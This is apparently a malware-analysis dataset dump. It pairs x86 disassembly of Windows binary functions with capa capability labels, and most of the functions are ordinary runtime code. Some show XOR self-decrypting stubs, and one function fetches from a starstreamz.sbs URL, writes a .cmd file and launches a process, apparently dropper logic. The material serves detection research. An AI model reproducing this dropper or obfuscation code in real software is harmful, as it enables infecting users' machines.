joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10085610
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x100857b8
push esi
xor esi, esi
push dword [edi + esi*4]
call sub.msvcrt.dll_free
inc esi
add esp, 4
cmp esi, 7
jne 0x10085622
push ebx
lea esi, [edi + 0x1c]
mov ebx, 7
lea esp, [esp]
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x10085640
lea esi, [edi + 0x38]
mov ebx, 0xc
lea ebx, [ebx]
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x10085660
lea esi, [edi + 0x68]
mov ebx, 0xc
lea ebx, [ebx]
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x10085680
lea esi, [edi + 0x98]
mov ebx, 2
lea ecx, [ecx]
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x100856a0
push dword [edi + 0xa0]
call sub.msvcrt.dll_free
push dword [edi + 0xa4]
call sub.msvcrt.dll_free
push dword [edi + 0xa8]
call sub.msvcrt.dll_free
mov eax, dword fs:[0x18]
add esp, 0xc
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60001
jb 0x100857b6
lea esi, [edi + 0xb8]
mov ebx, 7
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x10085705
lea esi, [edi + 0xd4]
mov ebx, 7
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x10085722
lea esi, [edi + 0xf0]
mov ebx, 0xc
nop
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x10085740
lea esi, [edi + 0x120]
mov ebx, 0xc
lea ecx, [ecx]
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x10085760
lea esi, [edi + 0x150]
mov ebx, 2
lea ecx, [ecx]
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x10085780
push dword [edi + 0x158]
call sub.msvcrt.dll_free
push dword [edi + 0x15c]
call sub.msvcrt.dll_free
push dword [edi + 0x160]
call sub.msvcrt.dll_free
add esp, 0xc
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x100857c0
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x10085952
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x100857ea
call fcn.100855b0
test al, al
jne 0x100857ea
push dword [esi + 0xc]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x10085805
call fcn.100855b0
test al, al
jne 0x10085805
push dword [esi + 0x10]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x10085820
call fcn.100855b0
test al, al
jne 0x10085820
push dword [esi + 0x14]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x1008583b
call fcn.100855b0
test al, al
jne 0x1008583b
push dword [esi + 0x18]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x1c]
test ecx, ecx
je 0x10085856
call fcn.100855b0
test al, al
jne 0x10085856
push dword [esi + 0x1c]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x10085871
call fcn.100855b0
test al, al
jne 0x10085871
push dword [esi + 0x20]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x24]
test ecx, ecx
je 0x1008588c
call fcn.100855b0
test al, al
jne 0x1008588c
push dword [esi + 0x24]
call sub.msvcrt.dll_free
add esp, 4
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60001
jb 0x10085952
mov ecx, dword [esi + 0x38]
test ecx, ecx
je 0x100858cb
call fcn.100855b0
test al, al
jne 0x100858cb
push dword [esi + 0x38]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x3c]
test ecx, ecx
je 0x100858e6
call fcn.100855b0
test al, al
jne 0x100858e6
push dword [esi + 0x3c]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x40]
test ecx, ecx
je 0x10085901
call fcn.100855b0
test al, al
jne 0x10085901
push dword [esi + 0x40]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x1008591c
call fcn.100855b0
test al, al
jne 0x1008591c
push dword [esi + 0x44]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x48]
test ecx, ecx
je 0x10085937
call fcn.100855b0
test al, al
jne 0x10085937
push dword [esi + 0x48]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x4c]
test ecx, ecx
je 0x10085952
call fcn.100855b0
test al, al
jne 0x10085952
push dword [esi + 0x4c]
call sub.msvcrt.dll_free
add esp, 4
pop esi
pop ebp
ret
Function at 0x10085960
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ecx, dword [edi + 0xbc]
test ecx, ecx
je 0x10085add
mov eax, dword [edi + 0xb0]
test eax, eax
je 0x10085add
cmp dword [eax], 0
jne 0x10085add
call fcn.100855b0
test al, al
jne 0x10085add
mov ecx, dword [edi + 0xb0]
call fcn.100855b0
test al, al
jne 0x10085add
mov ecx, dword [edi + 0xb8]
test ecx, ecx
je 0x100859df
cmp dword [ecx], 0
jne 0x100859df
call fcn.100855b0
test al, al
jne 0x100859df
push dword [edi + 0xb8]
call sub.msvcrt.dll_free
push dword [edi + 0xbc]
call fcn.100857c0
add esp, 8
mov ecx, dword [edi + 0xb4]
test ecx, ecx
je 0x10085ac4
cmp dword [ecx], 0
jne 0x10085ac4
call fcn.100855b0
test al, al
jne 0x10085ac4
push dword [edi + 0xb4]
call sub.msvcrt.dll_free
mov esi, dword [edi + 0xbc]
add esp, 4
test esi, esi
je 0x10085ac4
mov ecx, dword [esi]
test ecx, ecx
je 0x10085a38
call fcn.100855b0
test al, al
jne 0x10085a38
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x10085a53
call fcn.100855b0
test al, al
jne 0x10085a53
push dword [esi + 4]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x10085a6e
call fcn.100855b0
test al, al
jne 0x10085a6e
push dword [esi + 8]
call sub.msvcrt.dll_free
add esp, 4
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60001
jb 0x10085ac4
mov ecx, dword [esi + 0x30]
test ecx, ecx
je 0x10085aa9
call fcn.100855b0
test al, al
jne 0x10085aa9
push dword [esi + 0x30]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x34]
test ecx, ecx
je 0x10085ac4
call fcn.100855b0
test al, al
jne 0x10085ac4
push dword [esi + 0x34]
call sub.msvcrt.dll_free
add esp, 4
push dword [edi + 0xb0]
call sub.msvcrt.dll_free
push dword [edi + 0xbc]
call sub.msvcrt.dll_free
add esp, 8
mov ecx, dword [edi + 0xc0]
test ecx, ecx
je 0x10085b43
cmp dword [ecx], 0
jne 0x10085b43
call fcn.100855b0
test al, al
jne 0x10085b43
mov eax, dword [edi + 0xc4]
sub eax, 0xfe
push eax
call sub.msvcrt.dll_free
mov eax, dword [edi + 0xcc]
add esp, 4
sub eax, 0x80
je 0x10085b1f
push eax
call sub.msvcrt.dll_free
add esp, 4
mov eax, dword [edi + 0xd0]
sub eax, 0x80
je 0x10085b35
push eax
call sub.msvcrt.dll_free
add esp, 4
push dword [edi + 0xc0]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [edi + 0xd4]
test ecx, ecx
je 0x10085b78
cmp dword [ecx + 0xb4], 0
jne 0x10085b78
call fcn.100855b0
test al, al
jne 0x10085b78
push dword [edi + 0xd4]
call fcn.10085610
push dword [edi + 0xd4]
call sub.msvcrt.dll_free
add esp, 8
lea esi, [edi + 0x48]
lea ebx, [edi + 0xa8]
cmp esi, ebx
je 0x10085bbc
mov ecx, dword [esi]
test ecx, ecx
je 0x10085b90
call fcn.100855b0
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x10085bb5
call fcn.100855b0
test al, al
jne 0x10085bb5
mov eax, dword [esi + 0xc]
test eax, eax
je 0x10085bb5
cmp dword [eax], 0
jne 0x10085bb5
push eax
call sub.msvcrt.dll_free
add esp, 4
add esi, 0x10
cmp esi, ebx
jne 0x10085b85
push edi
call sub.msvcrt.dll_free
add esp, 4
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10085c80
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50c
mov eax, dword [0x100c901c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x100e2260]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x508], ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
test eax, eax
jne 0x10085cce
push str._create_locale
call fcn.10087ad0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x508]
test eax, eax
jne 0x10085cc9
or eax, 0xffffffff
mov dword [0x100e2260], eax
lea edi, [eax + 1]
neg edi
sbb edi, edi
and edi, eax
je 0x10085dee
test esi, esi
je 0x10085d0f
push 0x2d
push esi
call sub.msvcrt.dll_strchr
add esp, 8
test eax, eax
je 0x10085d0f
xor ecx, ecx
mov al, byte [esi + ecx]
lea edx, [ecx + ecx]
test al, al
je 0x10085d2c
cbw
inc ecx
mov word [ebp + edx - 0x204], ax
cmp ecx, 0x100
jne 0x10085cf2
push esi
push dword [ebp - 0x508]
call edi
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007bc25
mov esp, ebp
pop ebp
ret
cmp edx, 0x200
jae 0x10085eb7
xor eax, eax
mov word [ebp + edx - 0x204], ax
lea eax, [ebp - 0x204]
push 0x2d
push eax
call sub.msvcrt.dll_wcsrchr
add esp, 8
test eax, eax
je 0x10085d0f
mov ebx, dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
lea eax, [ebp - 0x504]
push 0xff
push eax
push 0x1001
lea eax, [ebp - 0x204]
push eax
call ebx
test eax, eax
je 0x10085d0f
lea edx, [ebp - 0x504]
mov ecx, 0x5f
lea edx, [edx + eax*2]
mov word [edx - 2], cx
mov ecx, 0x100
sub ecx, eax
lea eax, [ebp - 0x204]
push ecx
push edx
push 0x1002
push eax
call ebx
test eax, eax
je 0x10085d0f
lea ebx, [ebp - 0x504]
xor eax, eax
jmp 0x10085dc0
movzx ecx, word [ebx + eax*2]
lea edx, [ebp - 0x304]
test cx, cx
je 0x10085ddf
mov byte [edx + eax], cl
inc eax
cmp eax, 0x100
jne 0x10085dc0
jmp 0x10085d0f
mov byte [edx + eax], 0
lea esi, [ebp - 0x304]
jmp 0x10085d0f
cmp ecx, 5
ja 0x10085e97
test esi, esi
je 0x10085e97
call fcn.10086030
mov edi, eax
test edi, edi
je 0x10085ea2
call fcn.1007c5e0
mov ebx, eax
push esi
push dword [ebp - 0x508]
mov eax, dword [ebx + 0x70]
mov dword [ebp - 0x50c], eax
or eax, 2
mov dword [ebx + 0x70], eax
call fcn.10086140
add esp, 8
test eax, eax
je 0x10085e52
mov eax, dword [ebx + 0x6c]
push dword [eax + 4]
call sub.msvcrt.dll__setmbcp
add esp, 4
test eax, eax
jne 0x10085e52
call fcn.10086030
mov esi, eax
jmp 0x10085e54
xor esi, esi
mov eax, dword [ebp - 0x50c]
mov ecx, dword [ebx + 0x6c]
mov dword [ebx + 0x70], eax
mov eax, dword [edi]
cmp eax, ecx
je 0x10085e6b
mov dword [edi], ecx
mov dword [ebx + 0x6c], eax
mov eax, dword [edi + 4]
mov ecx, dword [ebx + 0x68]
cmp eax, ecx
je 0x10085e7b
mov dword [edi + 4], ecx
mov dword [ebx + 0x68], eax
push edi
call fcn.10085ed0
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007bc25
mov esp, ebp
pop ebp
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x16
mov ecx, dword [ebp - 4]
xor esi, esi
pop edi
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.1007bc25
mov esp, ebp
pop ebp
ret
call fcn.1007bd55
int3
Function at 0x10086140
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
mov eax, dword [0x100c901c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x1008623b
push 0x2d
push esi
call sub.msvcrt.dll_strchr
add esp, 8
test eax, eax
je 0x1008623b
xor ecx, ecx
mov al, byte [ecx + esi]
lea edx, [ecx + ecx]
test al, al
je 0x1008619a
cbw
inc ecx
mov word [ebp + edx - 0x204], ax
cmp ecx, 0x100
jne 0x10086178
jmp 0x1008623b
cmp edx, 0x200
jae 0x100862a1
xor eax, eax
mov word [ebp + edx - 0x204], ax
lea eax, [ebp - 0x204]
push 0x2d
push eax
call sub.msvcrt.dll_wcsrchr
add esp, 8
test eax, eax
je 0x1008623b
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
lea eax, [ebp - 0x504]
push 0xff
push eax
push 0x1001
lea eax, [ebp - 0x204]
push eax
call edi
test eax, eax
je 0x1008623a
lea edx, [ebp - 0x504]
mov ecx, 0x5f
lea edx, [edx + eax*2]
mov word [edx - 2], cx
mov ecx, 0x100
sub ecx, eax
lea eax, [ebp - 0x204]
push ecx
push edx
push 0x1002
push eax
call edi
test eax, eax
je 0x1008623a
lea edi, [ebp - 0x504]
xor eax, eax
nop
movzx ecx, word [edi + eax*2]
lea edx, [ebp - 0x304]
test cx, cx
je 0x10086283
mov byte [edx + eax], cl
inc eax
cmp eax, 0x100
jne 0x10086220
pop edi
mov eax, dword [0x100e2268]
test eax, eax
jne 0x10086261
push str.setlocale
call fcn.10087ad0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x1008625c
or eax, 0xffffffff
mov dword [0x100e2268], eax
lea ecx, [eax + 1]
neg ecx
sbb ecx, ecx
and ecx, eax
je 0x1008628f
push esi
push ebx
call ecx
add esp, 8
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007bc25
mov esp, ebp
pop ebp
ret
mov byte [edx + eax], 0
lea esi, [ebp - 0x304]
jmp 0x1008623a
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.1007bc25
mov esp, ebp
pop ebp
ret
call fcn.1007bd55
int3
Function at 0x10086920
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
call sym.steam_api.dll_SteamAPI_ISteamController_GetControllerState
mov esi, dword [ebp + 8]
test al, al
je 0x1008693e
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.10086950
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10002c50
Capabilities:
Get common file path
Terminate process

Disassembly:
sub esp, 0x204
mov eax, dword [0x10017184]
xor eax, esp
mov dword [esp + 0x200], eax
push 0
push 0x100124bc
call dword [sym.imp.user32.dll_FindWindowA]
test eax, eax
jne 0x10002c8f
push eax
push 0x100124b4
push 0x100124a4
push eax
call dword [sym.imp.user32.dll_MessageBoxA]
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
mov eax, dword [0x1001866c]
test eax, eax
jne 0x10002cfc
push 0x100
lea eax, [esp + 4]
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
lea eax, [esp]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10002cb0
mov ecx, dword [0x10012498]
mov edx, dword [0x1001249c]
mov dword [eax], ecx
mov cx, word [0x100124a0]
mov dword [eax + 4], edx
lea edx, [esp]
push edx
mov word [eax + 8], cx
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov dword [0x1001866c], eax
test eax, eax
jne 0x10002cfc
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.10003787
add esp, 0x204
ret
push 0x10012488
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
xor ecx, ecx
test eax, eax
setne cl
mov dword [fcn.10018668], eax
mov eax, ecx
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.10003787
add esp, 0x204
ret

Function at 0x10003787
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10017184]
jne 0x10003791
repz ret
jmp fcn.10007c2c
Function at 0x1000e84d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1000669b
and dword [ebp - 4], 0
cmp dword [0x10019178], 0
mov ebx, eax
jne 0x1000e8fe
push 0x1001528c
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1000e9af
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push 0x10015280
push edi
call esi
test eax, eax
je 0x1000e9af
push eax
call fcn.10006629
mov dword [esp], 0x10015270
push edi
mov dword [0x10019178], eax
call esi
push eax
call fcn.10006629
mov dword [esp], 0x1001525c
push edi
mov dword [0x1001917c], eax
call esi
push eax
call fcn.10006629
mov dword [esp], 0x10015240
push edi
mov dword [0x10019180], eax
call esi
push eax
call fcn.10006629
pop ecx
mov dword [0x10019188], eax
test eax, eax
je 0x1000e8fe
push 0x10015228
push edi
call esi
push eax
call fcn.10006629
pop ecx
mov dword [0x10019184], eax
mov eax, dword [0x10019184]
cmp eax, ebx
je 0x1000e956
cmp dword [0x10019188], ebx
je 0x1000e956
push eax
call fcn.100066a4
push dword [0x10019188]
mov esi, eax
call fcn.100066a4
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1000e956
test edi, edi
je 0x1000e956
call esi
test eax, eax
je 0x1000e94d
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1000e94d
test byte [ebp - 0xc], 1
jne 0x1000e956
or dword [ebp + 0x10], 0x200000
jmp 0x1000e98f
mov eax, dword [0x1001917c]
cmp eax, ebx
je 0x1000e98f
push eax
call fcn.100066a4
pop ecx
test eax, eax
je 0x1000e98f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1000e98f
mov eax, dword [0x10019180]
cmp eax, ebx
je 0x1000e98f
push eax
call fcn.100066a4
pop ecx
test eax, eax
je 0x1000e98f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10019178]
call fcn.100066a4
pop ecx
test eax, eax
je 0x1000e9af
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1000e9b1
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10127b80
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xfffffffc
call 0x10127bca
pushfd
push ebx
push ecx
call 0x10127b90
mov ebx, dword [esp]
add ebx, 0x25
xor ecx, ecx
xchg dword [ebx - 4], ecx
cmp ecx, 0
je 0x10127ba6
xor byte [ebx], 0x9b
inc ebx
loop 0x10127ba0
add esp, 4
pop ecx
pop ebx
popfd
jmp 0x10127bb5
dec ebx
dec esi
arpl word [ecx + esi*8 + 0x58eb026f], ax
into
stosb byte es:[edi], al
std
xor eax, 0xfa09cb2f
outsd dx, dword [esi]
mov dword [0xc4834def], eax
add al, 0xe8
or byte [eax], al
add byte [eax], al
jnp 0x10127c47
lahf
invalid
inc esp
mov edx, 0xed5eb9c8
out 0x74, eax
pop es
scasb al, byte es:[edi]
leave
mov bl, 0xef
sub ebp, esi
mov gs, word [ebp - 0x52]
Function at 0x10127bf3
Capabilities:
Encode data using xor

Disassembly:
popfd
in al, dx
lodsb al, byte [esi]
fsubrp st(2)
xor ecx, dword [edi - 0x1703dbbc]
pop dword [esp - 4]
call 0x10127c3b
and dword [esi + 0x61876e6e], 0x28
leave
pop dword [esp - 4]
call 0x10127c3b
and dword [esi + 0x61876e6e], 0x28
leave
das
jle 0x10127bed
movsb byte es:[edi], byte [esi]
scasb al, byte es:[edi]
and byte [ebx - 0x64426f4], bh
jle 0x10127c69
dec dword [eax + ebp*8]

Function at 0x10127c87
Capabilities:
Encode data using xor

Disassembly:
or al, 0xe8
sub eax, edi
or byte es:[ebx + edx*8 + 0x544b88a1], 0x29
push ds
pop ebp
int1
sbb dword [0xb1d4fed6], esp
insd dword es:[edi], dx
jmp fcn.10127c6d
scasb al, byte es:[edi]
xchg ebp, eax
push ax
jbe 0x10127c12
lahf
fcom dword [edx - 7]
fidivr dword [eax + 0x2a]
and byte [ebx], ah
wait
or al, 0xfc
pop ebp
jmp 0x10127c74
sub esp, 0xfffffffc
call 0x10127c87
scasd eax, dword es:[edi]
jl 0x10127c58
pop esp
inc esp
test eax, 0x3125dbe2
cmc
jmp 0x10127cbe
lea esp, [esp + 4]
call 0x10127cfc
pushfd
push ebx
push ecx
call 0x10127ccf
mov ebx, dword [esp]
add ebx, 0x25
xor ecx, ecx
xchg dword [ebx - 4], ecx
cmp ecx, 0
je 0x10127ce5
xor byte [ebx], 0xe7
inc ebx
loop 0x10127cdf
add esp, 4
pop ecx
les eax, [ecx + ebx*2]
pop ebx
popfd
jmp 0x10127cf4
dec edi
lahf
cmp eax, 0x265b6e38
jo 0x10127ce6
adc al, byte [ecx]
add byte [eax], al
sub dword [esp + 4], 0x2e45a747
add esp, 4
popfd
push edi
pop edi
xchg esi, eax
ret

Function at 0x710c7c
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x7109ec
or edi, edi
call fcn.00710cbb
add eax, eax
sub eax, eax
xor dword [ebx], ecx
and edi, edi
mov edi, 0xc7efff0c
add edi, 0x26d00989
inc ebx
add eax, 1
cmp ebx, edx
jne fcn.00710c7c
add eax, 1
mov edi, 0x917faf04
ret
Function at 0x401341
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x423004]
xor eax, esp
mov dword [esp + 0x198], eax
push esi
lea eax, [esp + 4]
xor esi, esi
push eax
mov dword [esp + 8], esi
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
lea eax, [esp + 0x90]
push eax
push esi
push esi
push 0x23
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x40148e
mov dword [esp + 0x88], 0xa73a0daa
mov edx, esi
mov word [esp + 0x8c], 0xef0a
movzx eax, byte [esp + edx + 0x88]
sub eax, edx
dec eax
mov ecx, eax
shl al, 7
shr ecx, 1
and cl, 0x7f
or cl, al
add cl, 6
add cl, dl
not cl
mov byte [esp + edx + 0x88], cl
inc edx
cmp edx, 6
jb 0x40139f
push str.terillo.cmd
lea eax, [esp + 0x94]
push eax
lea eax, [esp + 0x90]
push eax
lea eax, [esp + 0x9c]
push 0x104
push eax
call fcn.00401034
add esp, 0x14
mov dword [esp + 0x18], esi
xorps xmm0, xmm0
mov dword [esp + 0x2c], esi
lea eax, [esp + 0x90]
movlpd qword [esp + 0x10], xmm0
lea ecx, [esp + 8]
movlpd qword [esp + 0x24], xmm0
mov dword [esp + 8], str.http:__starstreamz.sbs_1_getc.php_65575784757a0698c80c6122
mov dword [esp + 0xc], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], eax
call fcn.00401051
cmp dword [esp + 0x2c], 0xc8
jne 0x40148e
push 0x40
lea eax, [esp + 0x48]
mov dword [esp + 0x44], 0x44
push esi
push eax
call fcn.00405d30
add esp, 0xc
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x44]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [esp + 0xb0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40148e
push dword [esp + 0x30]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x34]
call esi
mov ecx, dword [esp + 0x19c]
xor eax, eax
pop esi
xor ecx, esp
call fcn.00404b90
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4029b9
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x423004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov esi, ebx
test edi, edi
jne 0x4029e0
push 0xa0
jmp 0x4029f6
push 0x358
push 1
call fcn.0040887e
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4029fe
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x402a6d
push ecx
lea edx, [ebp - 0x20c]
mov ecx, edi
call fcn.004028b8
pop ecx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402a64
test al, 0x10
je 0x402a64
lea ecx, [ebp - 0x20c]
sub ecx, 2
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
cmp ax, bx
jne 0x402a2c
mov eax, dword [0x421030]
mov dword [ecx], eax
mov ax, word [0x421034]
mov word [ecx + 4], ax
lea eax, [esi + 4]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esi], eax
mov byte [esi + 0x254], bl
jmp 0x402a6d
push esi
call fcn.00408255
pop ecx
mov esi, ebx
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404b90
leave
ret
Function at 0x403c33
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x19c
mov eax, dword [0x423004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x60
mov esi, ecx
push 0
push esi
call fcn.00405d30
or dword [esi + 0x38], 0xffffffff
lea eax, [ebp - 0x198]
add esp, 0xc
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [ebp - 4]
mov dword [esi + 0x14], 0xbb8
xor ecx, ebp
mov dword [esi + 4], str.udp:__8.8.8.8:53
mov dword [esi + 0xc], str.udp:___2001:4860:4860::8888_:53
pop esi
call fcn.00404b90
leave
ret

Function at 0x403e0f
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x423004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov bl, byte [ebp + 0xc]
push esi
mov esi, ecx
push edi
mov edi, edx
cmp eax, 0xfffffffe
je 0x403e9c
test eax, eax
jg 0x403e41
or dword [esi + 0x8c], 0x2000
jmp 0x403e9c
test dword [esi + 0x8c], 0x800
je 0x403e72
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x10
push eax
lea eax, [ebp - 0x18]
push eax
push dword [esi + 0x30]
call dword [sym.imp.WS2_32.dll_getsockname]
mov edx, dword [ebp + 8]
mov ecx, edi
call fcn.004035e2
mov eax, dword [ebp + 8]
test bl, bl
je 0x403e81
add dword [esi + 0x40], eax
lea eax, [ebp + 8]
push eax
push 7
jmp 0x403e93
push eax
lea ecx, [esi + 0x48]
xor edx, edx
call fcn.00403574
pop ecx
lea eax, [ebp + 8]
push eax
push 8
pop edx
mov ecx, esi
call fcn.00401cea
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404b90
leave
ret